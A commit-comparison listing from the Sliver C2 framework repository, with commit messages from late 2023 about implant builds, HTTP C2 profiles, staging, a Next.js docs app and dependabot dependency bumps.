Compare commits

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Author SHA1 Message Date
moloch-- dee26bcb3d Add paths to unit tests 2023-12-15 17:44:18 -06:00
moloch-- 67c6710ff9 Add asciinema intro 2023-12-15 17:40:05 -06:00
moloch-- 15781566ab Add more pages 2023-12-15 16:18:23 -06:00
moloch-- 2bcaf9a78f Store doc state in frag 2023-12-15 15:59:26 -06:00
moloch-- 3a846e41a7 Fix image rendering 2023-12-15 15:44:56 -06:00
moloch-- 8260c90288 Add more pages 2023-12-15 15:36:01 -06:00
moloch-- 7ab9ddb68f Implement monaco code viewer 2023-12-15 09:15:27 -06:00
moloch-- 99c3bde7df Fix dark mode docs 2023-12-14 18:29:52 -06:00
moloch-- 84c4832ff4 Basic renderer working 2023-12-14 18:18:01 -06:00
moloch-- 1a280c3677 Fix root document 2023-12-14 17:57:31 -06:00
moloch-- c16737bfe9 Implement docs.json scheme 2023-12-14 16:40:29 -06:00
moloch-- 2e6904d838 Update docs readme 2023-12-13 18:43:09 -06:00
moloch-- f92067ef7d Place holders 2023-12-13 18:25:15 -06:00
moloch-- 33e678684f Add asciinema and monaco 2023-12-13 18:23:57 -06:00
moloch-- 0c2e8e1164 Add page dirs 2023-12-13 18:12:06 -06:00
moloch-- f7e3fd99e4 Initial commit 2023-12-13 17:57:31 -06:00
moloch-- 5539016c9b Fix out path 2023-12-13 17:23:54 -06:00
moloch-- 96fd678b3e Try to fix npm and node being stupid 2023-12-13 17:22:32 -06:00
moloch-- d2ccfb288d Node being dumb as usual 2023-12-13 17:20:28 -06:00
moloch-- cd834fcab4 Fix docs paths 2023-12-13 17:15:42 -06:00
moloch-- 8e9899e6c4 Change working directory 2023-12-13 17:14:24 -06:00
moloch-- 84d82aedcf Change working directory 2023-12-13 17:13:00 -06:00
moloch-- a3d1015449 Fix paths to subdir 2023-12-13 17:09:25 -06:00
Joe 60da181cc6 Merge pull request #1502 from BishopFox/docs/next
Add nextjs docs app
2023-12-13 17:06:15 -06:00
moloch-- a1abcaa6c8 Add nextjs docs app 2023-12-13 17:04:22 -06:00
Ronan Kervella 3974b53301 Merge pull request #1495 from vitorfhc/master
Adds the "permissions" flag to operator cmd in cli
2023-12-13 08:52:38 -08:00
Ronan Kervella dabc301108 Merge branch 'master' into master 2023-12-13 08:24:07 -08:00
Joe e32d0dd283 Merge pull request #1498 from BishopFox/4997dependabot/github_actions/actions/setup-go-5
Bump actions/setup-go from 4 to 5
2023-12-13 09:27:54 -06:00
dependabot[bot] 823d10c43c Bump actions/setup-go from 4 to 5
Bumps [actions/setup-go](https://github.com/actions/setup-go) from 4 to 5.
- [Release notes](https://github.com/actions/setup-go/releases)
- [Commits](https://github.com/actions/setup-go/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/setup-go
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-12-11 03:26:17 +00:00
Vitor Falcao fc7e0a8d19 Adds the "permissions" flag to operator cmd in cli 2023-12-06 15:39:33 -03:00
Joe c1242a82a6 Merge pull request #1489 from Z3ratu1/fix/correct-section-length-in-evasion_windows.go
correct section length in evasion_windows.go
2023-12-04 12:27:39 -08:00
z3ratu1 d2bd8ddd42 correct section length in evasion_windows.go(fix for issue #1189) 2023-12-04 12:13:11 +08:00
Joe 061166755d Merge pull request #1477 from BishopFox/347bdependabot/go_modules/github.com/spf13/cobra-1.8.0
Bump github.com/spf13/cobra from 1.7.0 to 1.8.0
2023-11-27 08:49:58 -08:00
dependabot[bot] 489678e635 Bump github.com/spf13/cobra from 1.7.0 to 1.8.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.7.0 to 1.8.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.7.0...v1.8.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-27 16:17:54 +00:00
Joe 93f86ac79b Merge pull request #1476 from BishopFox/61f3dependabot/go_modules/github.com/reeflective/readline-1.0.11
Bump github.com/reeflective/readline from 1.0.10 to 1.0.11
2023-11-27 08:15:10 -08:00
dependabot[bot] 6ea60eeffc Bump github.com/reeflective/readline from 1.0.10 to 1.0.11
Bumps [github.com/reeflective/readline](https://github.com/reeflective/readline) from 1.0.10 to 1.0.11.
- [Release notes](https://github.com/reeflective/readline/releases)
- [Changelog](https://github.com/reeflective/readline/blob/master/history.go)
- [Commits](https://github.com/reeflective/readline/compare/v1.0.10...v1.0.11)

---
updated-dependencies:
- dependency-name: github.com/reeflective/readline
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-27 03:47:58 +00:00
Joe 2bc427f551 Merge pull request #1467 from BishopFox/5fa4dependabot/go_modules/github.com/yiya1989/sshkrb5-0.0.1
Bump github.com/yiya1989/sshkrb5 from 0.0.0-20201110125252-a1455b75a35e to 0.0.1
2023-11-21 12:28:42 -08:00
dependabot[bot] 59f54706a0 Bump github.com/yiya1989/sshkrb5
Bumps [github.com/yiya1989/sshkrb5](https://github.com/yiya1989/sshkrb5) from 0.0.0-20201110125252-a1455b75a35e to 0.0.1.
- [Release notes](https://github.com/yiya1989/sshkrb5/releases)
- [Commits](https://github.com/yiya1989/sshkrb5/commits/v0.0.1)

---
updated-dependencies:
- dependency-name: github.com/yiya1989/sshkrb5
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-21 17:43:58 +00:00
Joe cb61b81459 Merge pull request #1469 from BishopFox/fecbdependabot/go_modules/github.com/google/uuid-1.4.0
Bump github.com/google/uuid from 1.3.1 to 1.4.0
2023-11-21 09:42:17 -08:00
Joe 880eb6091b Merge pull request #1468 from BishopFox/34ffdependabot/go_modules/github.com/miekg/dns-1.1.57
Bump github.com/miekg/dns from 1.1.56 to 1.1.57
2023-11-21 09:41:45 -08:00
dependabot[bot] 36ed8ad5b9 Bump github.com/miekg/dns from 1.1.56 to 1.1.57
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.56 to 1.1.57.
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.56...v1.1.57)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-20 22:25:37 +00:00
dependabot[bot] 1b6af55b14 Bump github.com/google/uuid from 1.3.1 to 1.4.0
Bumps [github.com/google/uuid](https://github.com/google/uuid) from 1.3.1 to 1.4.0.
- [Release notes](https://github.com/google/uuid/releases)
- [Changelog](https://github.com/google/uuid/blob/master/CHANGELOG.md)
- [Commits](https://github.com/google/uuid/compare/v1.3.1...v1.4.0)

---
updated-dependencies:
- dependency-name: github.com/google/uuid
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-20 22:25:11 +00:00
Joe 95a2eead7d Merge pull request #1470 from BishopFox/eda5dependabot/go_modules/github.com/mattn/go-sqlite3-1.14.18
Bump github.com/mattn/go-sqlite3 from 1.14.17 to 1.14.18
2023-11-20 14:24:08 -08:00
Joe c02b87030e Merge pull request #1471 from BishopFox/c9f2dependabot/go_modules/github.com/reeflective/readline-1.0.10
Bump github.com/reeflective/readline from 1.0.8 to 1.0.10
2023-11-20 14:23:55 -08:00
dependabot[bot] 9f252327ca Bump github.com/reeflective/readline from 1.0.8 to 1.0.10
Bumps [github.com/reeflective/readline](https://github.com/reeflective/readline) from 1.0.8 to 1.0.10.
- [Release notes](https://github.com/reeflective/readline/releases)
- [Changelog](https://github.com/reeflective/readline/blob/master/history.go)
- [Commits](https://github.com/reeflective/readline/compare/v1.0.8...v1.0.10)

---
updated-dependencies:
- dependency-name: github.com/reeflective/readline
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-20 03:57:56 +00:00
dependabot[bot] c3889e160c Bump github.com/mattn/go-sqlite3 from 1.14.17 to 1.14.18
Bumps [github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) from 1.14.17 to 1.14.18.
- [Release notes](https://github.com/mattn/go-sqlite3/releases)
- [Commits](https://github.com/mattn/go-sqlite3/compare/v1.14.17...v1.14.18)

---
updated-dependencies:
- dependency-name: github.com/mattn/go-sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-20 03:57:49 +00:00
moloch-- 853fb02e9f Fix duplicate sectool names 2023-11-19 11:01:05 -07:00
moloch-- 4f9943ec41 Fix duplicate sectool names 2023-11-19 10:59:42 -07:00
moloch-- 3e72fff43b Minor cleanups 2023-11-19 10:27:21 -07:00
moloch-- 13178f5849 Tweak token err msg 2023-11-18 13:36:31 -07:00
moloch-- 88c67e88d9 Merge branch 'operator/permissions' 2023-11-18 13:34:24 -07:00
moloch-- 14e78df896 Add more nil checks 2023-11-18 13:34:09 -07:00
moloch-- b3429f5f88 Fix err nil deref 2023-11-18 13:31:47 -07:00
Joe 0402d622e1 Merge pull request #1466 from BishopFox/operator/permissions
Operator/permissions
2023-11-18 12:11:59 -08:00
moloch-- 04d8d2aac7 Add missing builder permissions 2023-11-18 12:39:34 -07:00
moloch-- b71759f3b2 Add basic methods 2023-11-18 12:33:06 -07:00
moloch-- 13c68a7f50 Implement method checks 2023-11-18 12:27:39 -07:00
moloch-- 1f894f50ff Add permissions to operator config 2023-11-18 12:14:33 -07:00
moloch-- 33ea66de58 Add production 'slim' Docker stage 2023-11-18 10:19:14 -07:00
moloch-- 9a432f583d Add missing libs to docker test 2023-11-18 10:09:32 -07:00
moloch-- cbcd948c83 Add comments to Dockerfile 2023-11-18 09:24:21 -07:00
Joe 2ada8bf8ed Merge pull request #1465 from BishopFox/vendor/ssh
Update ssh and garble
2023-11-18 08:16:16 -08:00
moloch-- 02a4657d14 Additional tweaks to dockerfile 2023-11-18 08:53:46 -07:00
Joe b7cef9a07c Merge branch 'master' into vendor/ssh 2023-11-18 07:06:53 -08:00
moloch-- 49606ba753 Update ssh and garble 2023-11-18 07:49:03 -07:00
Joe 116431a049 Merge pull request #1421 from BishopFox/upload-dir
Adding the ability to upload directories
2023-11-17 10:03:09 -08:00
Joe ae5ac2af0f Merge branch 'master' into upload-dir 2023-11-17 09:34:45 -08:00
Joe b03c2ca6cd Merge pull request #1464 from BishopFox/vendor/gorilla
Update deps
2023-11-16 17:55:34 -08:00
Joe 6a4276e1e2 Merge pull request #1463 from BishopFox/http/default-config
Update default http c2 config
2023-11-16 17:55:17 -08:00
moloch-- c7358f8e63 Remove uneeded rand seeding 2023-11-16 18:32:54 -07:00
moloch-- de2fb65ee0 Improve cert randomization 2023-11-16 18:28:48 -07:00
moloch-- c52ca054a0 Update default http c2 config 2023-11-16 18:22:50 -07:00
moloch-- ffdbaba982 Update default http c2 config 2023-11-16 18:17:04 -07:00
moloch-- d23d814368 Update deps 2023-11-16 17:20:33 -07:00
Joe a57a67b6e0 Merge pull request #1461 from BishopFox/vendor/sqlite
Update sqlite deps
2023-11-16 15:59:35 -08:00
Joe 79b2b9da1f Merge branch 'master' into vendor/sqlite 2023-11-16 15:36:31 -08:00
moloch-- e0a3114692 Update sqlite deps 2023-11-16 16:35:34 -07:00
Joe 4bbe8f0976 Merge pull request #1460 from BishopFox/vendor/wg
Update Wireguard Deps
2023-11-16 15:31:02 -08:00
Joe 699b9bbe9b Merge pull request #1378 from BishopFox/fix/kill
Fix kill for sessions
2023-11-16 15:14:31 -08:00
moloch-- a6b583f538 Re-add forwarding to custom netstack 2023-11-16 15:57:49 -07:00
moloch-- 2ac22d137a Re-add custom netstack 2023-11-16 15:43:28 -07:00
moloch-- 579252f531 Downgrade x/crypo/ssh to v0.13.0 2023-11-16 15:24:01 -07:00
moloch-- 6558d53cc0 Update implant crypto/ssh 2023-11-16 14:40:44 -07:00
moloch-- d364f30ce6 Update crypto/ssh 2023-11-16 14:20:42 -07:00
moloch-- 499df6f923 Use upstream netstack 2023-11-16 14:09:39 -07:00
moloch-- 5a3053fe7a Use go branch of gvisor 2023-11-16 13:44:30 -07:00
moloch-- 9d08e4ca9f Update implant wireguard, tailscale, and gvisor 2023-11-16 13:31:46 -07:00
moloch-- ed9d8274f8 Update wireguard, tailscale, and gvisor 2023-11-16 13:20:38 -07:00
moloch-- 5efd05fcdf Switch to slim image for prod 2023-11-16 11:41:49 -07:00
moloch-- 9e95f3dbdc Specify container platform 2023-11-16 11:24:01 -07:00
Joe 3bbd4a230e Merge pull request #1458 from bman46/docker-optimization
Optimize Dockerfile
2023-11-16 09:25:35 -08:00
Joe ee2a72ff5f Merge branch 'master' into fix/kill 2023-11-16 07:30:29 -08:00
Joe 86507dc5c5 Merge pull request #1459 from BishopFox/fix_external_build
adapt external builds to support http c2 configuration and new build …
2023-11-16 07:29:36 -08:00
Tim Makram Ghatas d2b43ebb9f adapt external builds to support http c2 configuration and new build system 2023-11-15 23:46:28 +01:00
Joe 29dde09bdc Merge branch 'master' into docker-optimization 2023-11-14 11:51:36 -08:00
Joe 3a0ce8b890 Merge pull request #1402 from BishopFox/cc07dependabot/github_actions/actions/checkout-4
Bump actions/checkout from 3 to 4
2023-11-14 11:51:21 -08:00
Joe 623579affb Merge branch 'master' into cc07dependabot/github_actions/actions/checkout-4 2023-11-14 11:50:18 -08:00
Joe 632eacf3fd Merge pull request #1457 from BishopFox/allow_selective_staging
Allow selective staging
2023-11-14 11:49:55 -08:00
Brendan McShane ce6402a5d8 Fix comment 2023-11-14 10:57:33 -05:00
Brendan McShane 6da2209509 Update docker file 2023-11-14 10:57:33 -05:00
Joe 6918743f03 Merge branch 'master' into allow_selective_staging 2023-11-14 07:55:35 -08:00
Joe 5d333af798 Merge pull request #1456 from BishopFox/fix_profile_update
allow profile updates
2023-11-14 07:55:22 -08:00
Tim Makram Ghatas 68cddc1de2 Merge branch 'master' into allow_selective_staging 2023-11-13 23:54:47 +01:00
Tim Makram Ghatas c681fa68f3 Merge branch 'master' into fix_profile_update 2023-11-13 23:54:19 +01:00
Tim Makram Ghatas 8a04d8d882 removed unused http staging code and http stage flag. Added a new subcommand to implants, stage that allows to select which builds to exposed externally. ImplantBuilds now have a stage field marking whether they are available externally or not. 2023-11-13 23:53:05 +01:00
Joe b973e286cb Merge pull request #1455 from BishopFox/go/v1.21.4
Go/v1.21.4
2023-11-13 13:59:40 -08:00
Tim Makram Ghatas 49f9cf0963 Merge branch 'master' into fix_profile_update 2023-11-13 22:37:33 +01:00
Tim Makram Ghatas 5ffdcf8a7a allow profile updates 2023-11-13 22:36:07 +01:00
Joe 01656894ee Merge branch 'master' into go/v1.21.4 2023-11-13 11:16:10 -08:00
Joe d994f76920 Merge pull request #1454 from BishopFox/v1.6.0/http-c2
V1.6.0/http c2
2023-11-13 11:15:37 -08:00
Tim Makram Ghatas 6e40fcdf91 fix binary generation tests 2023-11-13 19:31:59 +01:00
Tim Makram Ghatas b6df1e2981 update go.mod and update WGImplantPrivKey reference to build object 2023-11-13 18:23:06 +01:00
moloch-- 56b84e44f3 Update makefile to require go 1.21.x 2023-11-10 18:36:40 -07:00
moloch-- 96896a7442 Go 1.21.4 2023-11-10 18:33:10 -07:00
moloch-- ac9b293942 Fix website pkg tests and MapContent, refactor naming 2023-11-10 16:53:11 -07:00
moloch-- ebf68f6b61 Fix println, dropped err 2023-11-10 16:27:21 -07:00
Tim Makram Ghatas e25e228f5c remove server side imports from utils package 2023-11-10 23:47:53 +01:00
Tim Makram Ghatas b84092b24b renamed resourceIDs 2023-11-10 23:34:12 +01:00
moloch-- eddfa20684 Move minisign to util/ 2023-11-10 15:31:35 -07:00
moloch-- 21468a6310 Duplicate minisign dep to client/ 2023-11-10 15:22:04 -07:00
Ronan Kervella 8c1194283b Merge branch 'master' into upload-dir 2023-11-10 14:05:05 -08:00
Tim Makram Ghatas 48d7e7217c add option to save stage to disk 2023-11-10 22:39:26 +01:00
Tim Makram Ghatas a19fddfdba merge master 2023-11-10 22:36:04 +01:00
Ronan Kervella f944d24dc3 Merge pull request #1453 from D00Movenok/fix/implant_macos_proxy_log
Fix: removed implant macos and generic proxy logs when debug is disabled
2023-11-10 13:01:56 -08:00
D00Movenok 917586f2cc fix: removed implant macos and generic proxy logs when debug is disabled 2023-11-10 23:19:31 +03:00
Tim Makram Ghatas 4e56c69cfe implants now also display whether compression/encryption was used in display 2023-11-09 18:13:30 +01:00
Tim Makram Ghatas e6487fb01d implants command now displays resource id's 2023-11-09 17:16:00 +01:00
Tim Makram Ghatas d88011e140 remove http/s stage listeners 2023-11-09 16:44:15 +01:00
Tim Makram Ghatas 2c5c3ac997 Move stage generation server side and add a new subcommand for profiles to generate them 2023-11-09 01:41:14 +01:00
Tim Makram Ghatas 9178f6ea5b move keys to implant build (WG, MTLS and ECC) 2023-11-08 17:29:22 +01:00
Raf 8ebd7da9a8 Merge branch 'master' into upload-dir 2023-11-08 08:15:02 -05:00
Tim Makram Ghatas a691484f47 fix config reuse bug and duplicate c2 object creation 2023-11-07 01:08:37 +01:00
Tim Makram Ghatas 3442599ee8 add missing field in implantconfig protobuf 2023-11-06 14:26:16 +01:00
Tim Makram Ghatas d3f40963e3 fixed missing implant config id bug 2023-11-05 00:17:44 +01:00
Tim Makram Ghatas c83a0447b3 allow disabling http payload staging 2023-11-04 23:41:01 +01:00
Joe daaf6e27a2 Merge pull request #1447 from alrs/info-cmd-err
client/command/info: fix dropped errors
2023-11-03 08:59:21 -07:00
Joe 9d1fa0d016 Merge pull request #1445 from BishopFox/fix-1444
Fixing issue with User Agent in Implant Generation
2023-11-03 08:53:29 -07:00
Lars Lehtonen a13d63ee47 client/command/info: fix dropped errors
Signed-off-by: Lars Lehtonen <[email protected]>
2023-11-03 06:04:22 -07:00
Raf 4da9233563 Merge branch 'master' into fix-1444 2023-11-03 06:51:28 -04:00
Joe 16db6033a5 Merge pull request #1446 from luca994/fix-minpath-httpconf
Fixed min_path and max_path settings on http profile customization
2023-11-02 15:48:06 -07:00
Raf c1d1bf7873 Blocking backticks from user agent strings in the config so that we can support other characters that would normally need to be escaped. 2023-11-02 13:29:39 -04:00
Luca 3217ab53fe Fixed min_path and max_path settings on http profile customization 2023-11-02 16:55:41 +01:00
Raf d46e43dbd6 Changing the user agent declaration to use a different template that allows for other characters that would have to be escaped 2023-11-02 10:48:20 -04:00
Raf 070bac1bf3 Fixing issue #1444: making User Agent a string literal in generation code 2023-11-01 12:52:42 -04:00
Raf a511af6fd2 Merge branch 'master' into upload-dir 2023-11-01 10:52:23 -04:00
Raf 97a22bb8eb Merging master into this branch and making some tweaks to upload. 2023-11-01 10:38:34 -04:00
Tim Makram Ghatas 9a63b64a39 remove implant builds when implant profiles are removed 2023-10-31 18:24:54 +01:00
Joe 9894d79dbf Merge pull request #1443 from BishopFox/1684dependabot/go_modules/google.golang.org/grpc-1.59.0
Bump google.golang.org/grpc from 1.56.1 to 1.59.0
2023-10-31 09:58:21 -07:00
Tim Makram Ghatas 4b0190b08c check implant exists before freeing up resources 2023-10-31 17:36:38 +01:00
dependabot[bot] 80dea74d97 Bump google.golang.org/grpc from 1.56.1 to 1.59.0
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.56.1 to 1.59.0.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.56.1...v1.59.0)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-31 15:29:09 +00:00
Joe db5d12d4b6 Merge pull request #1425 from BishopFox/ac46dependabot/go_modules/tailscale.com-1.50.1
Bump tailscale.com from 1.44.0 to 1.50.1
2023-10-31 08:26:27 -07:00
Joe 1c4503c1cc Merge branch 'master' into ac46dependabot/go_modules/tailscale.com-1.50.1
Signed-off-by: Joe <[email protected]>
2023-10-31 07:47:00 -07:00
Joe 13fb854b4e Merge pull request #1407 from BishopFox/heads-and-tails
Head and Tail commands
2023-10-31 07:46:30 -07:00
Raf d0574ffe48 Merge branch 'heads-and-tails' of ssh://github.com/BishopFox/sliver into heads-and-tails 2023-10-31 09:42:24 -04:00
Raf ba6b53d569 Merge branch 'master' into heads-and-tails 2023-10-31 09:40:55 -04:00
Tim Makram Ghatas 749c3b9247 fixed profile removal crash and automatically delete profile implantconfig 2023-10-31 12:46:12 +01:00
Tim Makram Ghatas 79ca1c9f72 update protobuf definitions for generate stage rpc call 2023-10-31 12:21:01 +01:00
Tim Makram Ghatas 7a6f2c3b53 resource id's no longer need to be prime 2023-10-31 11:59:17 +01:00
Joe e4ade4e8c9 Merge pull request #1440 from alrs/filesystem-cmd-err
client/command/filesystem: fix dropped error
2023-10-26 16:10:17 -07:00
Joe f4beecdc8a Merge branch 'master' into filesystem-cmd-err
Signed-off-by: Joe <[email protected]>
2023-10-26 08:38:32 -07:00
Joe 78627a6eff Merge pull request #1437 from testwill/ioutil
chore: remove refs to deprecated io/ioutil
2023-10-25 18:35:16 -07:00
Joe 77f2b7fd48 Merge branch 'master' into ioutil
Signed-off-by: Joe <[email protected]>
2023-10-25 16:37:55 -07:00
Lars Lehtonen 6f043f8406 client/command/filesystem: fix dropped error
Signed-off-by: Lars Lehtonen <[email protected]>
2023-10-24 15:14:47 -07:00
Tim Makram Ghatas 9870c254f6 remove save stager rpc call 2023-10-24 23:48:32 +02:00
Tim Makram Ghatas 99281bad0f removed name from implantconfig, implant names are only tied to builds 2023-10-24 23:41:37 +02:00
Tim Makram Ghatas 02d1eb5ba4 refactored generate rpc 2023-10-24 20:44:43 +02:00
Tim Makram Ghatas fce86738cc fix incorrect object reference error 2023-10-24 20:40:14 +02:00
Tim Makram Ghatas b723194931 fix implant config generation for stagers 2023-10-23 00:57:10 +02:00
Tim Makram Ghatas 7dc631077a renamed db functions for consistency 2023-10-22 21:30:16 +02:00
Tim Makram Ghatas e204247009 move implantbuild models to protobuf struct 2023-10-22 21:02:00 +02:00
Tim Makram Ghatas 504e5c7b32 check port is not in use before spawning listener 2023-10-22 17:47:39 +02:00
Tim Makram Ghatas fdec3cb317 Started moving all use of models.* structs to the models and helpers file. The goal of this commit is to eventually only use protobuf accross the entire project, in order to avoid mixing different structs for the same datatype accross the codebase. This also will allow switching backend if the project eventually moves away from an sql backend. 2023-10-22 15:37:21 +02:00
Ronan Kervella b7d0dcc5dd Merge pull request #1422 from BishopFox/grep
Adding the grep command
2023-10-20 10:23:46 -07:00
guoguangwu 0b7596373a fix: typo
Signed-off-by: guoguangwu <[email protected]>
2023-10-20 09:04:54 +08:00
Ronan Kervella 6b88a01fad Merge branch 'master' into upload-dir 2023-10-19 15:31:56 -07:00
Ronan Kervella d58c7b3bca Merge branch 'master' into heads-and-tails 2023-10-19 15:15:03 -07:00
Ronan Kervella c23a542233 Merge branch 'master' into grep 2023-10-19 15:12:56 -07:00
guoguangwu 5b415c5aa1 chore: remove refs to deprecated io/ioutil
Signed-off-by: guoguangwu <[email protected]>
2023-10-19 20:06:45 +08:00
Tim Makram Ghatas 6c77151b80 started moving c2profile to only use protobuf, fixed bug in http mainhandler and c2profile command now also displays poll extension 2023-10-17 00:52:13 +02:00
dependabot[bot] 5e7507ba4d Bump tailscale.com from 1.44.0 to 1.50.1
Bumps [tailscale.com](https://github.com/tailscale/tailscale) from 1.44.0 to 1.50.1.
- [Release notes](https://github.com/tailscale/tailscale/releases)
- [Commits](https://github.com/tailscale/tailscale/compare/v1.44.0...v1.50.1)

---
updated-dependencies:
- dependency-name: tailscale.com
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-16 16:04:58 +00:00
Joe 06d5a934be Merge pull request #1431 from BishopFox/35abdependabot/go_modules/golang.org/x/net-0.17.0
Bump golang.org/x/net from 0.11.0 to 0.17.0
2023-10-16 09:03:18 -07:00
Joe e804605d05 Merge pull request #1432 from BishopFox/go/v1.21.3
Go 1.21.3
2023-10-16 08:55:20 -07:00
Joe 35eac6f582 Merge branch 'master' into grep 2023-10-16 07:02:11 -07:00
Tim Makram Ghatas ff382e4029 Refactor websites to only use protobuf objects 2023-10-15 22:13:16 +02:00
Joe 5a5e8d2a04 Merge pull request #1420 from ssepi0l-pv/patch-1
Update install
2023-10-15 06:39:07 -07:00
Tim Makram Ghatas 05a69474e5 modify backend to server arbitrary stages for a given implant configuration 2023-10-15 08:22:49 +02:00
moloch-- 4516e4994d Garble v1.21.3 2023-10-13 16:24:34 +02:00
ssepi0l-pv 843e287f0c Merge branch 'master' into patch-1 2023-10-13 09:36:50 -03:00
Tim Makram Ghatas 47f19d477d switch to referencing builds by resource ID instead of profiles in staging requests and prepare rpc call to save stager builds 2023-10-13 12:01:07 +02:00
moloch-- aee2f78718 Go 1.21.3 2023-10-12 15:21:04 +02:00
dependabot[bot] 2edb14baa1 Bump golang.org/x/net from 0.11.0 to 0.17.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.11.0 to 0.17.0.
- [Commits](https://github.com/golang/net/compare/v0.11.0...v0.17.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-11 22:50:09 +00:00
Ronan Kervella a2208280a0 Merge pull request #1430 from alrs/console-err
client/console: fix dropped error
2023-10-11 12:06:27 -07:00
Lars Lehtonen 0834b725fd client/console: fix dropped error 2023-10-11 09:44:18 -07:00
Tim Makram Ghatas a0fa261e32 display profile nonce 2023-10-08 21:03:08 +02:00
Tim Makram Ghatas c578c426dc fix stager listener url generationerror 2023-10-08 21:02:47 +02:00
Tim Makram Ghatas da9b72c72c modify stagerhandler to serve valid profile (without stage-listener mods) when the correct stager id is used as a nonce 2023-10-08 20:13:16 +02:00
Tim Makram Ghatas cb8170c27b change naming and type of encoder id's 2023-10-06 16:42:38 +02:00
Tim Makram Ghatas 03cfab5276 Merge branch 'master' into v1.6.0/http-c2 2023-10-06 16:16:38 +02:00
Tim Makram Ghatas 114ad3e6a1 remove resource id on profile deletion 2023-10-06 16:10:41 +02:00
Tim Makram Ghatas 3d6a8dda52 switch to uin64[] instead of int[] 2023-10-06 15:47:41 +02:00
Tim Makram Ghatas ea1fbf1d74 save implant id to profile during profile creation 2023-10-06 12:06:25 +02:00
Tim Makram Ghatas 49b8cd299a embed encoder id's during code rendering 2023-10-06 11:48:13 +02:00
Tim Makram Ghatas b8dcf756f7 generate encoder id's on server setup for backend 2023-10-06 11:04:08 +02:00
Tim Makram Ghatas 0b9d7cc603 added resource id queries and save 2023-10-04 23:02:05 +02:00
Tim Makram Ghatas 3ba3cf1177 create resourceID table 2023-10-04 22:56:28 +02:00
Raf 7747df7b96 Addressing potential zip slip issue, fixing bug when uploading directories without a filter 2023-10-04 11:11:49 -04:00
Raf 9c87c59ec6 grep: Print error messages from files that could not be read 2023-10-04 10:37:56 -04:00
Raf dd249088c3 Adding the client implementation for grep 2023-10-04 10:28:54 -04:00
Raf 914354222d Adding the grep command 2023-10-04 10:28:39 -04:00
Raf efe747b8aa Adding the ability to upload directories 2023-10-04 10:13:04 -04:00
ssepi0l-pv 369406928c Update install
Hello!
I wanted to commit these changes because I'd love to see official support for Arch Linux. I modified this script and installed Sliver on my system using it, so I know it works. Nevertheless, please do check it and try it yourselves! :)

Signed-off-by: ssepi0l-pv <[email protected]>
2023-10-04 09:40:47 -03:00
Tim Makram Ghatas f6ac166314 display c2 profile in profile details 2023-10-03 14:22:06 +02:00
Tim Makram Ghatas 3da9ffb7d3 added c2 profile flag to profile creation 2023-10-03 14:19:38 +02:00
Tim Makram Ghatas 01c813148b added watchtower configuration import/deletion/view 2023-09-29 13:32:30 +02:00
Tim Makram Ghatas 7fce95e707 allow overwriting c2 profiles on the fly 2023-09-28 18:19:11 +02:00
Joe 71ba959e12 Merge branch 'master' into heads-and-tails 2023-09-27 10:50:00 -07:00
Joe 5d40d41105 Merge pull request #1416 from BishopFox/e20adependabot/go_modules/github.com/klauspost/compress-1.17.0
Bump github.com/klauspost/compress from 1.16.6 to 1.17.0
2023-09-27 10:49:15 -07:00
Tim Makram Ghatas 237663be19 move job restart on profile import client side 2023-09-26 00:13:08 +02:00
Tim Makram Ghatas 96a6efae07 restart http/s listeners on c2 profile import 2023-09-25 12:35:02 +02:00
dependabot[bot] 3561461547 Bump github.com/klauspost/compress from 1.16.6 to 1.17.0
Bumps [github.com/klauspost/compress](https://github.com/klauspost/compress) from 1.16.6 to 1.17.0.
- [Release notes](https://github.com/klauspost/compress/releases)
- [Changelog](https://github.com/klauspost/compress/blob/master/.goreleaser.yml)
- [Commits](https://github.com/klauspost/compress/compare/v1.16.6...v1.17.0)

---
updated-dependencies:
- dependency-name: github.com/klauspost/compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-09-25 03:49:33 +00:00
Joe 1d9d5cf85a Merge branch 'master' into cc07dependabot/github_actions/actions/checkout-4 2023-09-20 20:34:14 -07:00
Tim Makram Ghatas e70a022981 add check for duplicate stager extension and duplicate c2 profile name 2023-09-18 22:07:44 +02:00
Ronan Kervella b0c3549b08 Merge branch 'master' into fix/kill 2023-09-18 12:51:41 -07:00
Tim Makram Ghatas d924d80ddb added dropdown to choose c2 profile 2023-09-18 21:08:59 +02:00
Joe b3acf2db1f Merge branch 'master' into heads-and-tails 2023-09-17 07:59:40 -07:00
